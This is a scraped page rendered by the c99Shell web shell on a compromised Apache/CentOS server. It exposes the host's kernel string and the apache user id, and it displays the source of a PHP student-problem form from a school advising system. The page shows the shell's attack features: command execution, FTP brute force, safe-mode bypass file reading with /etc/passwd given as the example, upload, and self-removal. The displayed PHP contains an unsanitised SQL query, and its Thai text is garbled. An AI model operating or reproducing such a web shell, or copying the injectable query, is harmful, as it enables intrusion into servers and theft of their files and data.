!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Advice/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddStdProb.php (5.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include("../../Include/FunctionDB.php");
   include(
"../../include/Function.php");
   
ConnectDB();
   
$sql "Select * From student_tb Where Student_id='$Student_id'";
   
$result mysql_query($sql) or die("Error".mysql_error());
   
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Add Student Problem</title>
<link rel="stylesheet" href="../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
  <tr bgcolor="#B8ECB3"> 
    <td colspan="4"> <div align="center"><strong><font color="#003366" size="4" face="Tahoma">ẺºÑ¹·Ö¡»Ñ­ËҢͧ¹Ñ¡ÈÖ¡ÉÒ</font></strong></div></td>
  </tr>
  <form action="InsertAdvice.php" method="post">
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ÃËÑʹѡÈÖ¡ÉÒ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><strong><font color="#993333" size="2" face="Tahoma"><? echo $rs[Student_id]?>&nbsp;</font></strong></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td width="26%"> <div align="center"><font color="#003366" size="2" face="Tahoma">ª×èÍ</font></div></td>
      <td width="2%" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"><? echo $rs[First_name]?> 
        <? echo $rs[Name]?>&nbsp;<? echo $rs[Lastname]?> </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">»Ñ­ËÒ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <input type="radio" name="Problem" value="1">
        ÁÕ 
        <input type="radio" name="Problem" value="0">
        äÁèÁÕ</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="5" bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">»ÃÐàÀ·»Ñ­ËÒ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE">&nbsp;</td>
      <td bordercolor="#006699"><div align="center"><font size="2" face="Tahoma">ÃÒÂÅÐàÍÕ´»Ñ­ËÒ</font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td width="11%" bordercolor="#006699" bgcolor="#EEEEEE"> <font size="2" face="Tahoma"> 
        <input name="Prob1" type="checkbox" id="Prob1" value="¡ÒÃàÃÕ¹">
        ¡ÒÃàÃÕ¹</font></td>
      <td width="61%" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <input name="Prob_detail1" type="text" id="Prob_detail1" size="60">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE"> <font size="2" face="Tahoma"> 
        <input name="Prob2" type="checkbox" id="Prob2" value="àÈÃÉ°¡Ô¨">
        àÈÃÉ°¡Ô¨</font></td>
      <td bordercolor="#006699"><input name="Prob_detail2" type="text" id="Prob_detail2" size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE"> <font size="2" face="Tahoma"> 
        <input name="Prob3" type="checkbox" id="Prob3" value="ÊØ¢ÀÒ¾">
        ÊØ¢ÀÒ¾</font></td>
      <td bordercolor="#006699"><input name="Prob_detail3" type="text" id="Prob_detail3" size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE"> <font size="2" face="Tahoma"> 
        <input name="Prob4" type="checkbox" id="Prob4" value="ÊèǹµÑÇ">
        ÊèǹµÑÇ</font></td>
      <td bordercolor="#006699"><input name="Prob_detail4" type="text" id="Prob_detail4" size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">ÇÔ¸Õ¡ÒÃá¡é»Ñ­ËÒ/¤Óá¹Ð¹Ó</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"> <p> 
          <textarea name="Recom" cols="60" rows="5" id="Recom"></textarea>
          <font size="2" face="Tahoma"> </font></p></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">Çѹ·ÕèÁÒ¾º</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <select name="mDate" id="mDate">
        <? getDay1to31()?>
        </select>
        à´×͹ 
        <select name="mMonth" id="mMonth">
        <? getThaiMonth()?>
        </select>
        »Õ ¾.È. 
        <input name="mYear" type="text" id="mYear" size="5">
        </font></td>
    </tr>
    <tr bgcolor="#B8ECB3"> 
      <td colspan="4"> 
        <div align="center"> 
          <input name="Student_id" type="hidden" id="Student_id" value="<? echo $rs[Student_id]?>">
          <input type="submit" name="Submit3" value="    à¾ÔèÁ    ">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit22" value="   à¤ÅÕÂÃì   ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0089 ]--